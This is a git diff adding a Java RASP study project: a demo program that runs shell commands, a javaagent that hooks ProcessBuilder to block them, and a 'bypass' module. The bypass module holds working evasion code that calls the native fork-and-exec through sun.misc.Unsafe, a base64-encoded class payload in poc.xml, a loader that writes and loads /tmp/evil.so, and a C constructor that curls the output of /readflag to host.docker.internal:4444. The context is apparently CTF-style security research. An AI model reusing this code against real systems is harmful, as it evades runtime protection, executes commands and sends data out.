VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml" new file mode 100644 index 00000000..eb05d286 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml" @@ -0,0 +1,30 @@ + + + 4.0.0 + + com.test + test + 1.0-SNAPSHOT + + + 8 + 8 + + + + + org.apache.maven.plugins + maven-jar-plugin + + + + com.test.Main + + + + + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java" new file mode 100644 index 00000000..ad9e8cf8 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java" @@ -0,0 +1,18 @@ +package com.test; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; + +public class Main { + public static void main(String[] args) throws InterruptedException, IOException { + System.out.println("main start!"); + ProcessBuilder processBuilder = new ProcessBuilder(); + processBuilder.command("cmd", "whoami"); + Process process = processBuilder.start(); + InputStream inputStream = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "gbk")); + System.out.println(bufferedReader.readLine()); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..08be0616 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + RCE-Test + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..3ba7eab2 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $RCE-Test + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml" new file mode 100644 index 00000000..e89b00eb --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml" @@ -0,0 +1,56 @@ + + + 4.0.0 + + com.drunkbaby.javaagent + java-agent + 1.0-SNAPSHOT + + + + org.javassist + javassist + 3.27.0-GA + + + + + 8 + 8 + + + + + org.apache.maven.plugins + maven-jar-plugin + + + + maven-assembly-plugin + + + + com.drunkbaby.javagent.PreMain + true + true + + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + + \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java" new file mode 100644 index 00000000..695047f1 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java" @@ -0,0 +1,33 @@ +package com.drunkbaby.javagent; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; + +public class PreMain { + public static void premain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException { + // 先测试一次使用ProcessBuilder获取当前路径 + System.out.println("\n"); + ProcessBuilder processBuilder = new ProcessBuilder(); + processBuilder.command("cmd", "/c", "chdir"); + Process process = processBuilder.start(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk")); + System.out.println(bufferedReader.readLine()); + + // 添加ClassFileTransformer类 + ProcessBuilderHook processBuilderHook = new ProcessBuilderHook(inst); + inst.addTransformer(processBuilderHook, true); + + // 获取所有jvm中加载过的类 + Class[] allLoadedClasses = inst.getAllLoadedClasses(); + for (Class aClass : allLoadedClasses) { + if (inst.isModifiableClass(aClass) && !aClass.getName().startsWith("java.lang.invoke.LambdaForm")){ + // 调用instrumentation中所有的ClassFileTransformer#transform方法,实现类字节码修改 + inst.retransformClasses(new Class[]{aClass}); + } + } + System.out.println("++++++++++++++++++hook finished++++++++++++++++++\n"); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java" new file mode 100644 index 00000000..3e3d479d --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java" @@ -0,0 +1,51 @@ +package com.drunkbaby.javagent; + +import javassist.*; + +import java.io.IOException; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +public class ProcessBuilderHook implements ClassFileTransformer { + private Instrumentation inst; + private ClassPool classPool; + public ProcessBuilderHook(Instrumentation inst){ + this.inst = inst; + this.classPool = new ClassPool(true); + } + + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { + if (className.equals("java/lang/ProcessBuilder")){ + CtClass ctClass = null; + try { + // 找到ProcessBuilder对应的字节码 + ctClass = this.classPool.get("java.lang.ProcessBuilder"); + // 获取所有method + CtMethod[] methods = ctClass.getMethods(); + // 0ドル代表this,这里this = 用户创建的ProcessBuilder实例对象 + String src = "if (0ドル.command.get(0).equals(\"cmd\"))" + + "{System.out.println(\"危险!\");" + + "System.out.println();"+ + "return null;}"; + for (CtMethod method : methods) { + // 找到start方法,并插入拦截代码 + if (method.getName().equals("start")){ + method.insertBefore(src); + break; + } + } + classfileBuffer = ctClass.toBytecode(); + } + catch (Exception e) { + e.printStackTrace(); + } + finally { + if (ctClass != null){ + ctClass.detach(); + } + } + } + return classfileBuffer; + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF" new file mode 100644 index 00000000..4d5eae31 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF" @@ -0,0 +1,5 @@ +Manifest-Version: 1.0 +Premain-Class: com.drunkbaby.javagent.PreMain +Can-Retransform-Classes: true +Can-Redefine-Classes: true +Can-Set-Native-Method-Prefix: true diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..0a4b8ca7 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + agent + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..f5e184db --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $agent + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml" new file mode 100644 index 00000000..82bc48d4 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml" @@ -0,0 +1,12 @@ + + 4.0.0 + + org.example + java_rasp + 1.0-SNAPSHOT + + bypass + Archetype - bypass + http://maven.apache.org + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java" new file mode 100644 index 00000000..fdf8d094 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java" @@ -0,0 +1,64 @@ +package com.drunkbaby; + +import sun.misc.Unsafe; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class Evil { + public Evil() throws Exception { + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class clazz = Class.forName("java.lang.UNIXProcess"); + Object obj = unsafe.allocateInstance(clazz); + + String[] cmd = new String[] {"bash", "-c", "touch /tmp/success"}; + + byte[][] cmdArgs = new byte[cmd.length - 1][]; + int size = cmdArgs.length; + + for (int i = 0; i < cmdArgs.length; i++) { + cmdArgs[i] = cmd[i + 1].getBytes(); + size += cmdArgs[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : cmdArgs) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + + Field launchMechanismField = clazz.getDeclaredField("launchMechanism"); + Field helperpathField = clazz.getDeclaredField("helperpath"); + + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + + Object launchMechanism = launchMechanismField.get(obj); + byte[] helperpath = (byte[]) helperpathField.get(obj); + + int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism); + + Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false); + } + + public byte[] toCString(String s) { + if (s == null) { + return null; + } + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, result, 0, bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" new file mode 100644 index 00000000..7179707b --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" @@ -0,0 +1,11 @@ + + + + + yv66vgAAADQAmwoAFwBaBwBbCABcCgAVAF0KAF4AXwoAXgBgCABhCgAVAGIKAAIAYwcAZAgAZQgAZggAZwcALQoACgBoCgBpAGoIAEMIAEQKABcAawgARQcAbAoAFQBtBwBuCgBvAHAHAHEKABkAcggAcwkAGQB0BwA/CQB1AHQKABUAdgoAbwBfCgAZAHcKACQAeAoAdQB5BwB6AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWkBAAFJAQADYXJnAQACW0IBAAR0aGlzAQAUTGNvbS9kcnVua2JhYnkvRXZpbDsBAA50aGVVbnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHY21kQXJncwEAA1tbQgEABHNpemUBAAhhcmdCbG9jawEABGVudmMBAAJbSQEAB3N0ZF9mZHMBABRsYXVuY2hNZWNoYW5pc21GaWVsZAEAD2hlbHBlcnBhdGhGaWVsZAEAD2xhdW5jaE1lY2hhbmlzbQEACmhlbHBlcnBhdGgBAAdvcmRpbmFsAQAKZm9ya01ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANU3RhY2tNYXBUYWJsZQcAegcAewcAWwcAbAcAbgcAOQcAOwEACkV4Y2VwdGlvbnMHAHwBAAl0b0NTdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWJ5dGVzAQAGcmVzdWx0AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAJQAmAQAPc3VuL21pc2MvVW5zYWZlAQAJdGhlVW5zYWZlDAB9AH4HAHsMAH8AgAwAgQCCAQAVamF2YS5sYW5nLlVOSVhQcm9jZXNzDACDAIQMAIUAhgEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBABJ0b3VjaCAvdG1wL3N1Y2Nlc3MMAIcAiAcAiQwAigCLDACMAI0BAA9qYXZhL2xhbmcvQ2xhc3MMAI4AjwEAEGphdmEvbGFuZy9PYmplY3QHAJAMAJEAkgEAEWphdmEvbGFuZy9JbnRlZ2VyDACTAJQBABBSQVNQX2ZvcmtBbmRFeGVjDACVADUHAJYMAJcAjwwAmACZDABSAFMMAJgAmgEAEmNvbS9kcnVua2JhYnkvRXZpbAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBhbGxvY2F0ZUluc3RhbmNlAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAEKClbQgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIaW50VmFsdWUBAAMoKUkBAARUWVBFAQARamF2YS9sYW5nL0Jvb2xlYW4BABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwAhACQAFwAAAAAAAgABACUAJgACACcAAAN6AAgAEgAAAcQqtwABEgISA7YABEwrBLYABSsBtgAGwAACTRIHuAAITiwttgAJOgQGvQAKWQMSC1NZBBIMU1kFEg1TOgUZBb4EZL0ADjoGGQa+NgcDNggVCBkGvqIAIxkGFQgZBRUIBGAytgAPUxUHGQYVCDK+YDYHhAgBp//bFQe8CDoIAzYJGQY6ChkKvjYLAzYMFQwVC6IAJxkKFQwyOg0ZDQMZCBUJGQ2+uAAQFQkZDb4EYGA2CYQMAaf/2AS8CjoKBrwKWQMCT1kEAk9ZBQJPOgstEhG2AAQ6DC0SErYABDoNGQwEtgAFGQ0EtgAFGQwZBLYABjoOGQ0ZBLYABsAADsAADjoPGQ62ABMSFAO9ABW2ABYZDgO9ABe2ABjAABm2ABo2EC0SGxAKvQAVWQOyABxTWQQSDlNZBRIOU1kGEg5TWQeyABxTWQgSDlNZEAayABxTWRAHEg5TWRAIEh1TWRAJsgAeU7YAHzoRGREEtgAgGREZBBAKvQAXWQMVEARguAAhU1kEGQ9TWQUqGQUDMrYAIlNZBhkIU1kHGQa+uAAhU1kIAVNZEAYZCgMuuAAhU1kQBwFTWRAIGQtTWRAJA7gAI1O2ABhXsQAAAAMAKAAAAIIAIAAAAAkABAAKAAwACwARAAwAGgAOACAADwAnABEAPAATAEYAFABLABYAVgAXAGUAGABwABYAdgAbAHwAHAB/AB4AmQAfAKYAIACwAB4AtgAjALsAJADMACYA1AAnANwAKQDiACoA6AAsAPEALQEAAC8BHwAxAWYAMgFsADMBwwA0ACkAAADKABQATgAoACoAKwAIAJkAFwAsAC0ADQAAAcQALgAvAAAADAG4ADAAMQABABoBqgAyADMAAgAgAaQANAA1AAMAJwGdADYANwAEADwBiAA4ADkABQBGAX4AOgA7AAYASwF5ADwAKwAHAHwBSAA9AC0ACAB/AUUAKgArAAkAuwEJAD4APwAKAMwA+ABAAD8ACwDUAPAAQQAxAAwA3ADoAEIAMQANAPEA0wBDADcADgEAAMQARAAtAA8BHwClAEUAKwAQAWYAXgBGAEcAEQBIAAAATAAE/wBOAAkHAEkHAEoHAEsHAEwHAE0HAE4HAE8BAQAA+gAn/wAUAA0HAEkHAEoHAEsHAEwHAE0HAE4HAE8BBwAOAQcATwEBAAD4ACoAUAAAAAQAAQBRAAEAUgBTAAEAJwAAAI0ABQAEAAAAJCvHAAUBsCu2AA9NLL4EYLwITiwDLQMsvrgAEC0tvgRkA1QtsAAAAAMAKAAAAB4ABwAAADcABAA4AAYAOgALADsAEgA8ABsAPQAiAD4AKQAAACoABAAAACQALgAvAAAAAAAkAFQAVQABAAsAGQBWAC0AAgASABIAVwAtAAMASAAAAAMAAQYAAQBYAAAAAgBZ + + + + \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java" new file mode 100644 index 00000000..794ef563 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java" @@ -0,0 +1,14 @@ +package com.example; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Base64; + +public class Evil { + public Evil() throws Exception { + String data = "PAYLOAD"; + String filename = "/tmp/evil.so"; + Files.write(Paths.get(filename), Base64.getDecoder().decode(data)); + System.load(filename); + } +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c" new file mode 100644 index 00000000..5188fe0b --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c" @@ -0,0 +1,7 @@ +#include +#include +#include + +__attribute__ ((__constructor__)) void preload (void){ + system("curl host.docker.internal:4444 -d \"`/readflag`\""); +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..5d92c34d --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + bypass + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..53e80bdb --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $bypass + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml" new file mode 100644 index 00000000..35e7a9b5 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml" @@ -0,0 +1,22 @@ + + 4.0.0 + org.example + java_rasp + 1.0-SNAPSHOT + pom + Archetype - java_rasp + http://maven.apache.org + + agent + RCE-Test + bypass + + + + org.javassist + javassist + 3.27.0-GA + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..f4586db1 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + java_rasp + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..e2e9e655 --- /dev/null +++ 